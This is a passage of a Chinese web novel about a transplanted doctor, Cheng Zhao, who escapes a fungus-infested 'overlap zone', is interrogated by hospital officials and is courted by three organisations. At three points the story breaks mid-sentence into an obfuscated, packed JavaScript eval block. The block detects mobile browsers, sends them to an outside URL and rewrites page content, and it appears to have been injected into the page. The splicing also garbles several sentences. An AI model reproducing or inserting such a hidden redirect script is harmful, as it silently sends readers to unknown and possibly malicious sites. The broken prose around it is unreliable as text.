“啊!”他赶紧伸手去拉那些黏糊的菌丝,但菌丝的生长速度极快,从接触到他手指的那一刻就开始疯长,短短几秒就把他的手完全包裹,又很快从手上退下来,只留下一只白骨森森的手。更多的菌丝还在往他心脏处的洞口里钻,远远看去,就像身披一件红线交织而成的袈裟,胸口处镶着一颗鸽子蛋大小的红宝石,只是这颗宝石会自己蠕动增大。 从机器内部生出的菌丝开始往回收缩,把他拉回了机器,其中最粗的主干是从开口中伸出的,几乎有大动脉那么粗,还在一起一伏,如同脉搏跳动的节奏。 直到这一刻,程昭才明白,黏菌孢子跟胚胎并不是单纯的寄生关系,它们相互共生,黏菌已经跟血管融合在了一起,既有黏菌的生长性,也有血管的搏动性,换句话说,或许这些黏菌真的已经拥有了人的意识。 董飞被拉扯到机器开口处,他身型高大,这个口子对他来说太小了,只能堵在外面。 他整个人都被血红色覆盖,自身的血液和红色黏菌混在一起,看不清表情,但四肢几乎都不动了,不知道是休克还是已经死了。 黏菌们还在努力把他往机器内部拽,他整个人像张纸一样被折叠了起来,发出一节节脊柱碎裂的声音,整个身体都像被敲烂了一样瘫软,最后如同一张红色的肉皮,被完全吸进了机器里。 机器发出咔咔声,像一台大型的搅拌机。 程昭扶着墙面,走到蒋裕身边,把他拉起来。 蒋裕在120出车这么多趟,还是第一次看见如此血腥的场景,此刻仍是惊魂未定:“你做了什么?” 程昭支起他的胳膊,把他扛在肩上:“把拆掉电阻的测电笔扔进去了,想试试能不能造成短路,还真成了。” 蒋裕一脸的不可思议:“工具箱里的?” “是啊。”程昭点头,肉痛的感觉再次袭来,总共四样工具,在这个手术间里一个羊角锤拔不下来,一个测电笔就这么炸了,只剩螺丝刀和活动扳手了,报废率50%,高得吓人。 而且这样使用测电笔,还不涨经验,又亏一笔。 “赶紧走吧!”程昭余光瞟到巨大的机器在震动,不时有零件掉到地上,看上去快要解体了。 虽然不知道完全解体后会怎么样,但程昭有种预感,这里要发生大事,必须马上离开。 另一边,肖音音和顾镜如也搀扶着对方,跟在程昭他们身后。 出了1号手术间,发现走廊也跟地震似的,头顶时不时有吊顶板砸落下来。 他们憋着一口气,跑到了门口。 “不好,外面都是人!”肖音音急道,窗外是密密麻麻的人,说是人,其实已经没什么人样了,脸皮布满褶皱,眼睛都凸出眶外,嘴巴拉得老长,比程昭上次见到的样子更加可怕了。 程昭当机立断:“你到对面去,我喊一、二、三,一起开门!” 她回头看1号手术间,门口果然有红色往前蔓延,她计算着时间,在红色菌□□涌而来的前5秒,按下了大门墙面上的开关。 “一!” “二!” “三!” “开!” 程昭跟肖音音一人一边,拉开了手术室的大门。 “哗——”门外疯癫的人潮鱼贯而入,后面的人甚至把前人推倒,踩踏在他们的身体上,不管不顾地往前冲。 嘴里还在喊叫着重复的话语,程昭现在听清了。 “给我深素,给我深素!” “给我深素,给我深素!” 蜂拥的人群刚好跟疯长的菌丝相遇,就如同一波浪潮,拍进了另一场大浪中,扬起高耸的浪头,嘶吼和嚎叫构成了惊涛骇浪的潮声。 程昭他们躲在完全敞开的大门后,看着大片的血浪翻涌,刺耳的高频声音直往耳朵里钻,即使捂住耳朵也无济于事。 顾镜如呕吐了出来,其余几人的脸色也很难看。 程昭推了一把蒋裕:“能走了吧,你先带她们出去。” “那你呢?” “我还有东西要拿,很快。” 蒋裕看着她闪身进了办公室,想跟上去,但看看身边面无血色的顾镜如,还是转身向门外。 出去之前,他朝着办公室的方向大喊:“程昭!任务中死了保险能赔一千万!但是要保险要合同签完一月才生效的!你可千万撑住啊,不然亏大发了!” “卧槽,人事没跟我说!”程昭比他想象得快多了,进去没多久就抱着一沓文件夹从办公室里冲出来,“你别咒我啊!” 她以百米冲刺的速度向着大门跑去,血浪中时不时伸出一两只手来拽她,都被她甩在了身后。 手术室的地面也在涌动,地面裂开了数条缝,像是生出了一张张大嘴,令人无处下脚。 “快啊!”蒋裕站在门口,心急如焚。 “接着!”程昭把手中的文件夹扔了过去,一跃而起,避开了脚下开裂的地面,落在了手术室门前。 她还未站稳,就脚下一空,一道人宽的裂缝从走廊中央一直爆裂到了这里。 快掉下去的一刻,数只手拉着了她,拼命把她往上拽。 程昭自己使不上劲,好在上面有三个人,愣是把她拉出了深渊。程昭刚爬到手术室门外,手术室的大门就自动关上了,把那些鬼哭狼嚎关在了门内。 手术室外是一片蒙蒙的雾气。 程昭拿过那叠文件夹,递给肖音音。 “你可以,去曝光吗?” 肖音音郑重地点了点头:“我会的,你就算不给我这些,我也要曝光他们的!” “那个,等会儿我们就要分开了,你……不能跟我们走。”蒋裕烦躁地抓了抓头发,他也不知道该怎么跟肖音音解释。“总之,你在这里等一会,等、等雾散了,就回家去吧。” “对了,注意保护自己,你那个经纪人跟经纪公司都不是好东西。” 肖音音没有刨根问底,而是说:“我知道,那我们是不是再也不会见到了?” 程昭:“大概吧。” 肖音音突然一把抱住了她。 程昭:O.O 肖音音:“谢谢你,我也有东西要给你。” 一个东西落入裤兜,不算大,但是沉甸甸的。 程昭隔着裤子摸了摸,硬硬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805376|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是什么?” “我猜你会需要的。” 雾气似乎稀薄了一些,前方就是医院的大门,透过玻璃远处救护车的形状渐渐显露出来。 “那,我们走啦。” “再见。”肖音音笑着跟他们挥手,嘴角露出两个小梨涡。 三人上了救护车,程昭透过救护车后窗,看着雾又浓起来,肖音音渐渐消失了。 【叮,修理崩坏区域累计达到1个,经验值+1000,总经验值为1260,工具箱升级+1,目前等级为家用工具箱(2级)。】 【升级奖励已发放,恭喜您获得青铜工具——偷偷摸摸钥匙顶针】 【检测到该区域存在特殊道具,拾取中……对象等级过高,拾取中……对象等级过高,拾取中……】 唉,拾取不了就算了,怎么还鬼畜起来了。 脑海里的声音吵得程昭头痛,她揉起了太阳穴。 【拾取成功!黄金工具-“浓缩就是精华提取仪”已放入工具箱中,放入供体能提取出相应的产物。】 【注意!工具级别越高,所需精神值消耗越高,请谨慎使用。】 这算什么,大力出奇迹?只要基数多,蚂蚁啃大象是吧。 程昭对这个工具箱生出了几分由衷的敬佩。 盘算一下,虽然羊角锤不幸落在域里了,测电笔爆炸了,但这么一趟下来,收获也不小啊。 算上肖音音给她的东西,丢二收三,还是赚了的。 要不是车上人多,还有一个不清楚情况的患者,她恨不得在救护车上就打开工具箱看看新宝贝。 “抱歉啊,等会儿回医院我带你去后勤,把工具箱解绑了,换个急救箱。”蒋裕还记着自己犯的错。 “不用不用,”程昭摆摆手,“挺好使的。” 急救箱里才一样东西,她这个成了精的工具箱还会自己升级送奖励呢,可是个宝贝啊。 “真的?”蒋裕将信将疑,生怕程昭是为了不让他有心理负担,才这么说的。 “真的,这些工具比手术器械好使多了。”程昭说得很真诚,手术刀她拿不稳,扳手可使得灵呢。 到底是外科佬,有些修理天赋在身上的。 “不错,活着出来了。”司机给她比了个大拇指。“新人第一次,感觉怎么样?” 程昭思考了一会儿,真诚地说:“想回家。” 出过一次任务,体会到重叠域里的危险后,她更想快点回自己那个普通但安全的世界了。 那个带着神秘图案的提取仪就在她的工具箱里,她得好好研究研究,怎么才能回去。 程昭的手环震了震,任务界面自动弹出。 【任务编号】20250623001 【地点】私立欣格医院 【任务状态】已完成 【患者人数】1/2 【任务成功率】50% 【倒计时】0(提前崩析) 【任务积分】计算中(不良事件等级正在复核,积分发放延后12小时) “呼,好险啊,差一秒就出不来了。”看着界面上那个0,程昭这才后怕起来。 在域里的时候她都没怎么注意时间,仅有的几个时间点,都是蒋裕提醒她的。 “天呐!”蒋裕也收到了任务提醒,他的反应比程昭要大得多。 “机器爆炸的时候我看过时间,那时候还有3个小时!” “啥意思,这玩意儿显示不准?” “不是,重叠域提前崩析了!”蒋裕激动得都快跳起来了,“你知道这意味着什么吗?” “什么?”程昭一脸懵逼,她是真不懂啊。 16. 崩析 一七医院院长室。 “院长,检测到重叠域提前崩析!” 医务科科长计卓连门都没顾上敲,就气喘吁吁地冲了进来,他甚至没有坐电梯,而是跑了三层楼梯来到行政楼最高层的院长室。 虽然他气都喘不匀,脸上却满是惊喜:“只存在于理论上的提前崩析,居然真的出现了!” 宽大的办公桌后面,着一身紫色鸢尾花旗袍的女人抬头扫了他一眼,很快又把头低下去看电脑屏幕。 “既然理论上存在这种可能,那么实现也只是时间问题。” 计卓:“可是这么多年来,是第一次出现!报告我看了好几遍,生怕是检测误差……” “报告呢?” “哦,这里。”他把手上的一叠文件递了过去。 院长孟似婳没有接,“我是说,你的报告。” “啊?” “作为医务科科长,你难道不该自己写一份调查报告上来吗?” 计卓背上生出一层冷汗:“对,我,我太激动了,我现在就去写!下班前一定交给您!” 孟似婳没再看他,计卓赶紧溜了,走的时候还不忘把院长室大门关好。 “数据!我要具体的数据!”屏幕上精神矍铄的老者兴奋得像个孩子,手舞足蹈个不停,“研究了这么多年,镜子计划终于看到希望了!这可事关泡世界的……“ 跟老者相比,孟似婳看起来非常冷静:“重叠域提前崩析只是先泡科技监测到的可能性之一。” “可能性超过90%!按他们的监测精度来说,大概率是真的发生了。要知道,这些年来,连20%的可能性都没有出现过!” “那是他们的空间监测仪根据能量变化测算出来的结果,而不是实地的数据。” “我知道!我就是要数据,实地的!”老者的嗓门邦邦响,整个院长室都充斥着回音。 孟似婳:“监测到能量波动不过5分钟,你觉得治安队有这么快,现在就把实地数据上传过来?” 老者冷哼一声:“他们是没那么快,但是栗汜那小子已经到了吧?” —————————— 雷霆般的轰鸣声由远及近响起,扬起的风沙中,纯黑的奥古斯特疾驰而来,在建筑废墟前猛然刹住,车头高高翘起,留下一道深长的车辙。 几小时前,这里还是数栋气派的大楼组成的高端私立医院,此刻原址只剩下一堆残垣断壁,像是刚被定向爆破过一样。 身着黑色机车服的男人摘下头盔,露出一头凌乱的碎发,额前的几缕黑发挡在他碧蓝色的眼眸前,却遮不住他狭长凤眼里的凌厉。包裹在皮靴中的长腿一跨,从机车上利落地翻身下来。 他收起头盔,向废墟走去,高挑精瘦的身材宛如模特。 奇怪的是,当他走进废墟时,就像有一层无形的膜蒙在建筑前,周围的物体扭曲了一瞬,紧接着那个男人就不见了。 “哒、哒、哒。” 栗汜双手插兜,从容不迫地走在手术室的走廊里,皮靴发出有节奏的脚步声。 此时手术室里的一切布置看起来都完好如初,男人在1号手术间门口站定。 1号手术间的面积跟其他手术间比起来大得过分,但里面却很空旷,手术台没有摆在正中间,旁边有一大块空地,似乎有什么东西被挪走了。 他盯着那片空地看了一会儿,然后迈步继续向前走。 一路上,其他手术室都没能引得他驻足。 直至走到手术室最深处,他在生物材料间前停住了。 他长得高,将近一米九,因此都不需要刻意抬头,只是稍一抬眼,就能看到门框上方吸着的—— 羊角锤? 进入医院以来,他那张冷若冰霜的脸上第一次显露出些许意外。 他举起戴着黑色皮手套的右手去拔,竟然没拔动。 剑眉一挑,这回他是真的觉得有意思了。 栗汜摘了手套,五指修长白皙,指节分明,手背上纹着繁复的黑色图腾,细看似乎隐隐有流光在图腾上闪过。 这一次,他很轻易地就把羊角锤拿了下来。 他好奇地拿在手里翻来覆去观察,还饶有兴致地拿它试锤了下墙壁。 然后一整面墙轰然倒塌。 在漫天的墙灰中,栗汜无辜地眨了眨眼睛。 “啊哦。” —————————— 【叮!使用羊角锤(2级),经验值+50。】 【叮!羊角锤升级为3级,经验值+100,总经验值为1410。】 “哈?” 脑海里突如其来的声音把程昭吓了一跳,也把对面的蒋裕吓了一跳。 “出什么事了?”蒋裕紧张兮兮地问。 “没什么。”程昭摆摆手,埋头吃饭。 虽然不知道落在域里的羊角锤为什么自己升级了,不过平白加经验值的事,当然是越多越好啦。 坐着救护车离开的时候,她还在心中默默跟羊角锤告别,既然能升级,说明它还在世界的某处? 那会不会有一天,再次回到她手中呢? 蒋裕看她吃饭的样子,顿时又没了胃口。 “你也是真行,从那个地方出来,居然还吃得下番茄炒蛋。” “番茄炒蛋好吃啊!” 她早饭都没吃,莫名其妙就穿越进了平行世界,然后又莫名其妙地进了一趟重叠域,在里面待了好几个小时,又是担惊受怕,又是生死时速的,要不是里面的情形实在恶心,程昭早就饿得肚子咕咕叫了。 但一回医院,铺天盖地的饥饿感就再度向她袭来,正好蹭蒋裕的脸,在120的小食堂饱餐一顿。 小食堂是自助打菜打饭的模式,程昭上来就在饭上浇了两大勺番茄炒蛋,红红黄黄的颜色给蒋裕看得差点呕出来。 他甚至一点荤菜都没拿,吃的绿色环保全素宴。 “咦,在域里不是待了六七个小时吗?怎么出来两个小时都不到?”程昭看着食堂墙面的挂钟,不解地问道。 蒋裕左手挡在眼前,不去看程昭的饭盆:“这很正常啊,重叠域里的时间流速跟外面是不一样的。” “这么神奇?” “物理规律罢了,有些泡世界的时间流速跟我们泡世界不一样,如果叠上时间流速快的泡世界,域里时间也会比域外快。” “这么神奇?” “切,这算什么。在域里,你甚至有可能遇到年长的你,或者年幼的你,那才叫神奇呢。” “这么神奇?” “你复读机成精是吧。不过我还是要告诫你,如果在域里见到你自己,一定要想办法避开,千万别让她看见你。” “为什么?如果遇到我自己,岂不是可以互相帮助。” “NONONO~”蒋裕头摇得像拨浪鼓,“实际上,平行世界的你才是最需要提防的。举个例子,《乒乓球来的那一天》你看过吧?” “猜你想说——《彗星来的那一夜》?” “差不多意思,泡世界有好有坏,平行世界的你处境也有好有坏,指不定就会遇到杀了你取而代之的事。” “嘶——”程昭先是倒吸一口凉气,但转念一想,自己不就是被黑心原主坑过来还债的嘛,立马赞同地点点头,“很有道理。” “平行世界的你不是你,不要用你自己的思维模式去揣测另一个你。别怪哥没提醒你,‘亦我非我’,这四个字一定要吃进肚子里,而且绝对不可以拉出来。” “咦~你说话好恶心,我还在吃饭呢!” “我靠,再恶心能有你吃番茄炒蛋恶心啊?” “就吃就吃!” 蒋裕也逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那……”程昭摸着下巴,“这是好是坏啊?” “当然是好事啊!跟另一个泡世界重叠是很危险的事情,打个比方,要是今天董飞真的从域里把深素带出来了,我们泡世界会怎么样呢?” 程昭光是想想,就不寒而栗。 “也就是说,如果能做到提前崩析,泡世界会更安全?” “恭喜你,都学会抢答啦!这也是泡泡科学院研究了好几年的国自然课题,目前为止还只有理论进展,不过这次以后应该也能有点实际进展了。” “一个科学院叫泡泡,是不是不太正经?” “本泡世界与他泡世界相互作用科学研究中心,简称泡泡科学院有问题?” “嘶——那先泡科技也是简称了?” “对啊,全称是代表泡世界先进生产力发展方向科技有限公司。” 程昭被他一个磕绊都没打的嘴皮子折服了:“我确信我是穿越了,在我们那儿敢这么取名字的,都不要说诈骗公司了,只能是精神病啊!” 想到自己现在就身处一个全称是“救人一命胜造七级浮屠医院”的地方,她觉得这里原本是个精神病院也不无可能。 蒋裕耸耸肩:“反正我们这里就是这样咯。你吃饱一点,等会儿要去医务科报到的。” “医务科?” “对呀,第一次发生提前崩析这种事,我们肯定要去做汇报的,通知刚才已经发到我OA上了。你没收到?” “没注意。”程昭掏出自己的手机来看了一眼。 正经消息没有,垃圾短信倒是收到一条,是什么聚会的邀请,标题写得很露骨——“同城狂欢夜,越夜越刺激”,一看就是诈骗短信,谁点进去谁SB。 程昭扒拉完最后一口,光盘得干干净净,跟着蒋裕去往行政楼。 刚走出小食堂没多久,就迎面遇上一个穿着急救服的女医生。 “你——” “哦,她是来接班的。”蒋裕很自然地跟她解释起来,他已经习惯了这个外地人的十万个为什么,“为了缓解120医生的精神压力,出一趟车回来以后,就会有人接班,我们实际上已经下班了。” “你可想死我啦!” 程昭一把冲上去紧紧抱住了女医生。 17. 审问 “程昭,你发什么疯?”女医生面带厌恶地挣脱开了她的怀抱,拍了拍自己的衣服,仿佛她是什么脏东西一般。 程昭维持着双手张开的姿势,呆愣在原地:“啊?” “走开,别耽误我接班。” 程昭有点委屈,洛清从来没有用这么冷硬的语气跟她说过话。 “你不是在北三院吗?” “你在说什么?我毕业就进的一七医院啊。” “干嘛这么凶,我们大学八年室友的情谊都没了吗?” “我什么时候跟你一个寝室了?我跟你都不是一个学校的。”说完她倒是反应过来了,“你外地人?” 程昭点点头,她心里有点堵。大学时候她跟洛清的床铺是连一起的,六人寝里就属她俩感情最好,如果在这个泡世界,连洛清都不是朋友了,那她除了自己一个人,还有谁呢? 她突然觉得很孤独。 洛清懒得跟她多说,从她身边走了过去。 蒋裕:“在原泡世界,你跟洛清关系很好?” 程昭:“是的。” 蒋裕:“在这里你还是离她远点吧,你可能不知道,洛清跟程昭是出了名的不对付,两个人搭班都是要错开的。” “为什么?”就算不是朋友,同事之间也没必要这样吧。 “嗯……”蒋裕抓抓头发,“其实具体情况我不是很清楚,也是听别人说的。好像她俩之前也就是正常同事关系,但有次重叠域出了一个二级事件,危险级别很高,程昭和洛清搭班出车,出域的时候一个昏迷一个重伤,连救护车都成了一团废铁。 自那以后两人就变得水火不容了。她们出车的那个域挺邪的,听说现在还是禁地,有部队驻扎,方圆十里都不能进入的。” “那你知道这个医院,谁跟程昭关系好吗?” 蒋裕蹙眉思考了一会儿,摇摇头:“几乎没见谁跟她走得近,她一向独来独往,不爱社交,话也很少。我跟她算是同期吧,说的话加起来可能没超过十句。” 果然,连洛清都是死对头的话,恐怕连一个朋友都没有了。 —————————— 程昭进医务科的第一件事,就是被要求解下手环放到垫着绒布的托盘里。 照做以后,她坐在了办公室中央的椅子上,面对着医务科科长计卓,右手边并排坐着两个穿着藏青色制服的男人,制服胸口有金色丝线绣的盾牌形状图案,其中一个人给她双侧手腕寸口处各贴了一张蓝色小圆片,有导线连接到另一人的笔记本电脑上,手环也跟电脑连接上了。 程昭有点紧张,这个架势像是审问犯人。 这不是她夸张,刚从电梯出来,她和蒋裕就被人带领着分开,到了不同的办公室,有种不让人串供的谨慎感。 “程医生。”计卓对她露出一个微笑,虽然落在程昭眼里,更像是一只笑面虎。 “第一次进域,很辛苦吧?” “超级超级辛苦。” “啊,”计卓没料到她一点不客套,也只能跟着感叹一句,“120急救医生确实太不容易了。” “那加奖金吗?” “这个,这个奖金,它是根据业务量来的……” “没有辛苦费?” “呃,事件级别高的话,会有一定的额外补贴。” 程昭的表情热切起来:“有多少呢?我这次出车的等级是不是偏低了?调高以后给补吗?” “这个,具体的……要不你等会儿出门左转问财务吧……”计卓悄悄擦了擦额头的汗,他不是来问询的吗,好险就被程昭反客为主了。 “好的。”程昭没再多问,规规矩矩地坐好。 “讲一下你进域以后发生的事吧。” “我一进去就出现在了手术室……”程昭从头一五一十地讲了起来,说到自己把急救箱拿成了工具箱,但隐去了工具箱会说话,还能加经验升级这件事,只把它当作普通家用工具。 计卓边听边在本子上记录着,程昭注意到旁边的藏青色制服男人也在记录,一个电脑打字,一个用钢笔速记。 “所以董飞完成了机械声带更换手术?” “是的。” 程昭看他水笔的轨迹,应该是把几个字着重圈出来了。 “关于深素,你怎么看?” “不是好东西。” “其他的呢?” “我不清楚了。” “唔。”计卓若有所思地点头记录。 “请问,你有在域里见过这个东西吗?”藏青色制服的男人放下钢笔,从文件袋里拿出了一个装在生物安全袋里的小小的安瓿瓶,是1ml规格的,里面有红色的液体。 “没见过,但是我今早上班的时候,遇到有人来推销,好像是这个东西,长得很像,我不确定是不是同一种。” 男人没有再追问,继续用钢笔在纸上记录。 “难道,这个是深素?”程昭灵光一闪。 男人声音冷酷:“别多问。” 莫非上午那四个奇奇怪怪的西装男,真的是警察吗?这个世界的警服就长那样? 程昭转而去问计卓:“这个泡世界是没有机械器官的吗?” “目前还没有研发到投入使用的程度。” “那他怎么会的呢?” 计卓先是看了一眼旁边藏青色制服的人,然后放下水笔,双手托着下巴,表情严肃:“程昭,我不知道。就算知道,以你的级别,我也不能告诉你。有些事情,不知道也是一种保护,你明白吗?” 这辈子最讨厌谜语人了! 心里这么吐槽着,但程昭面上只是点了点头。 “1号手术间的机器被炸毁后,地面就出现了崩裂的迹象是吗?” “是的。” “那你有看到那台机器后来怎么样了吗?” “没看到。” 看是没看到,不过被收进她的工具箱里了,不知道他们把手环拿去检查会不会发现。 程昭已经打定主意了,就算他们发现了什么,自己坚决贯彻否认三连:我不是、我没有、你别瞎说啊。 “你有从域里带东西出来吗?” “呃,病人算吗?” 她看得出计卓在克制自己翻白眼的欲望。 “当然不算,说的是重叠域本身的东西。” “没有。” 带了,还不止一样。 但她同样不打算说实话,反正他们也防备着自己,什么都不肯透露。 计卓没再问了,手环也还给了程昭,电脑前的那个人只是跟计卓说了一句“数据已记录”,也没说数据有没有问题。 然后程昭就被放了出去,临走前计卓转达了人事科的话,因为她第一次出车表现良好,所以不需要培训了,直接进入排班表。 120实行做一休二制,她接下来两天都休息,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805378|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到大后天再来医院值120的班,但休息期间也要佩戴手环,如果有紧急任务,手环会直接通知。 计卓问她要不要去后勤换个正常的急救箱,程昭婉言谢绝了。 虽然只上了半天班,却仿佛已经干了一周活那样疲惫。 程昭在更衣室脱下荧光绿制服时,突然摸到了裤兜里硬邦邦的东西。 出来后急着吃饭,然后又去医务科接受审问,她都来不及看肖音音给自己的东西。 手伸进去的时候莫名有些紧张,程昭跟做贼似的四周张望了一圈,确定更衣室里只有自己一个人,而且各个角落都没有摄像头以后,才把那个摸起来外表光滑的东西拿了出来。 程昭看清那玩意儿的时候,没忍住手一抖滑了下去,还好另一只手本能地伸出去接住了。 那是一个玻璃球,里面装满了透明液体,一只眼球漂浮在其中。 看这个眼球的大小和形态,应该是人类的。 肖音音给了她一只眼球。 她立刻就想到,这是肖音音在生物材料间拿的。 为什么给她一只眼球?是说她有眼无珠,换个眼睛比较好? 那么萌的一个妹子,应该不至于这么损吧。 再说了,要换也该换一双吧,换一只不匹配的话,岂不是成大小眼了。 程昭想不通,只能把玻璃球放进常服的口袋里,把急救制服扔进脏衣篓里。 她的暂住证已经办下来了,直接发到手机上生成了电子版,需要身份证的地方直接出示就好。 也是个有正经穿越者身份的普通公民了。 原本的计划是装作原主的样子来上班,然后让检验科同事给自己抽管血带回去试验。 但她刚被医务科审问过,生怕自己现在是医院的重点关注对象,还是暂时低调一点,不要做出什么明显出格的行为比较好。 泡世界的重叠像一个神秘的话题,能摆在明面上说的都是口径一致的随机事件,一旦涉及到人为可能,突然就变得讳莫如深起来。 如果被人知道她是被原主设计穿越过来的,保不齐就要被什么泡泡科学院抓去做研究了。 那太可怕了,她绝不能暴露。 程昭整理好衣服,从楼梯往下走,透过楼梯间的玻璃窗,看到楼下停了好几辆不同的车,似乎直接堵在了这栋120小楼的门口。 医院保安在车前挥舞着双手,似乎想把他们赶走。 一辆黑色商务车的车门打开,下来几个人,有人向保安出示了张银色卡片。保安接过来看了看,然后掏出对讲机讲了什么。 程昭读不懂唇语,但她觉得很奇怪。 这里不是门诊楼,也不是住院部,是给120医生值班的单独一栋楼,看病没道理来这里。 而且她越看这几个人越觉得眼熟。 对了,虽然人脸她记不清了,但身上的黑西装,以及耳朵上的同款蓝牙耳机——他们跟早上那四个人的衣着打扮是一模一样的! 难道这么快就发现她不对劲,警察来抓她了? 程昭的脚步停住了,她觉得现在下去不是一个好的时机。 正在她踌躇之际,保安收好了对讲机,一路小跑上了楼梯。 “程医生,你下班了吗?楼下都等着你呢!” 程昭心头一颤:“我?” “是啊,先泡科技,泡泡科学院,还有圣心会都派车过来,请你过去呢!” 18. 商人、科学家和圣母 程昭看着面前的车辆们,脑海中千言万语汇成一句话—— 都乱成一锅粥了,赶紧趁热喝了吧。 问题这还不是一锅,是三锅,非要她选一锅喝的那种。 车里分别出来三伙人。 首先来到她面前的,就是那几个黑西装,为首的人朝她鞠了一躬:“程医生你好,自我介绍一下,先泡科技研发部副经理蔺子聪,诚挚邀请您加入我们最新的研发项目,只需要占用您休息日的一点点时间,报酬会参照特聘教授的待遇发放,具体内容可以随我到总部详谈……” 程昭还没说话,一个戴着黑框眼镜,衣着休闲简单的年轻男人插进了两人之间:“程老师,我是泡泡科学院虞铭教授的学生,我叫陈柯,我老师想请您加入我们的课题,是个国自然重点项目,虽然经费没有企业那么多,但是我们计划发多篇SCI,可以给您署名的,保证三作以内……” 还别说,SCI署名这个程昭是真心动了,人在医院,谁没点晋升要求啊。 最后一个走过来的是位穿着香槟色缎面连衣裙的女人,随着走动的姿势,裙面如同波浪般泛着磷光,裙摆很长,只露出一截白皙的脚踝,她脚踩9厘米的细高跟鞋,走路优雅得像一只猫。 她伸出白嫩的手,奉上一张白底烫金的名片,程昭能闻到她身上馥郁的香水味。 本以为这个精致都市丽人会是来自什么奢侈品公司,但接过来一看,名片中间是三个烫金的大字——“圣心会”。 这个名字,她听蒋裕提过一嘴,不过蒋裕没跟她说到底是个什么组织。 先泡科技和泡泡科学院是干嘛的,一听便知,但这个圣心会,就显得有些神秘了。 程昭再定睛一看,发现大字下面还有一行黑色的小字—— “圣母心泛滥不救不舒服协会?”程昭照着小字念了出来。 女人微微一笑:“你好,圣心会公关部楚漪。听闻您在域中拯救了一个他泡世界的小姑娘,圣心会敬佩您的博爱与社会责任感,特向您发出合作邀请。圣心会致力于无差别地播撒爱与和平,接收社会各界爱心人士的捐赠,是一个崇高的公益组织。” 程昭:“啥意思?” 楚漪:“您有兴趣了解一下的话,可以根据名片上的地址到圣心会详谈,我们副会长随时恭候您的光临。”她扫了一眼其他人,“看来您崇高的品格吸引了不少人呢,我就先不打扰您了,等您有空了,欢迎来圣心会做客。” 说完,她迈着优雅的步子,坐上一辆玛莎拉蒂离开了。 公益组织,开玛莎拉蒂? 程昭觉得这个圣心会真有意思,公关不像其他两位那样急迫,恨不得立马把她绑上车去,反倒勾起了她的兴趣,让她想一探究竟。 她把名片揣进口袋,转向黑西装:“你们不会耽误我很多时间吧?” 蔺子聪:“放心,算上来回路程,不会超过2小时。” 程昭:“行。” 陈柯急了:“程老师!” 程昭:“别急,等会儿来。SCI这个饼太大了,我得慢慢吃,你先回吧,地址给我一个。” 陈柯:“好的好的,程老师,您可一定得来啊!” 程昭被这个跟自己差不多大的人一口一个“老师”叫着,只觉人都老了几岁。 收下陈柯手写的地址,程昭坐进先泡科技的商务车里。 120医生进入重叠域时用的穿戴式移动工作站和急救箱,甚至是救护车,都来自先泡科技。这家公司确实如它的名字所说,拥有泡世界最先进的科技。 这样一家公司,肯定是高精尖人才云集的,需要大费周章招她进什么项目呢? 还有装在安瓿瓶里的红色液体,那人说是失窃的,那它本来就出自先泡科技还是先泡科技从重叠域里取得的?旁听的那两个人到底隶属什么组织,他们知道先泡科技拥有这个试剂吗? 问题太多太多,所以程昭选择从先泡科技入手,看看他们葫芦里到底卖的什么药。 “项目名称?” “保密项目,无可奉告。” “项目内容?” “保密项目,无可奉告。” “你们在逗我玩吗?”程昭脸色难看,从椅子上站了起来。 一进先泡科技这栋总高100层的摩天大楼,蔺子聪就带她坐内部电梯上了90层,在一间看起来跟银行金库一样严格保护起来的小会议室里,一群自称是研发部的人在椭圆形会议桌上坐了一圈。 程昭坐在主位,但她没感觉到任何尊重。 蔺子聪:“程医生,要么我们先谈谈待遇呢?” 程昭冷哼:“项目内容只字不提,光谈钱,怕不是要把我卖了吧?” 蔺子聪看起来有些为难:“项目整体的内容我们都签了保密协议不能说,不过您负责的部分很简单,我们只是想给您做一个全身体检。” “体检?” “是的,您应该也知道吧,几小时以前,我们第一次监测到了重叠域的提前崩析,搞清楚这一现象,对于整个泡世界都有巨大的意义……” “等一下,那个域是我跟蒋裕一起进去的,你们也找他了吗?” “不,只有您。” “为什么?” “蒋医生已经在120执行任务将近一年,进入过的重叠域累计78个,均未出现过特殊能量波动。唯一的变数就是您。” 想来她这个外地人的身份,从上传网络的那一刻,就已经被这些大机构知晓了。 看来这个泡世界,也没有隐私安全啊。 “可是我并没什么特别的。” “120急救箱是先泡科技统一出品的,每一个零件,每一道工序都一模一样,我们的全面质控流程能保证良品率在99.5%以上。” “所以?” “但每一个医生,在域里打开急救箱时,都会生成不同的东西。因为从出厂开始,箱子里就是空的,我们没有放任何东西进去。” 那里面的东西哪里来的? 难道还是凭空变出来的不成? 蔺子聪猜到她在想什么,点点头承认了她的猜测:“没错,就是凭空变出来的。急救箱并不是一个容器,而是把能量收集起来利用的工具。 时空重叠造成的扰动,会产生可观的能量差,但我们目前的科技水平,只能利用微不足道的一小部分。急救箱里道具的品质,不取决于箱子本身,而是使用箱子的人。 使用者本身能调动的能量越大,开出的道具品质就会越高,箱子只是手段而非能量来源。我听说你的急救箱拿成了工具箱?” 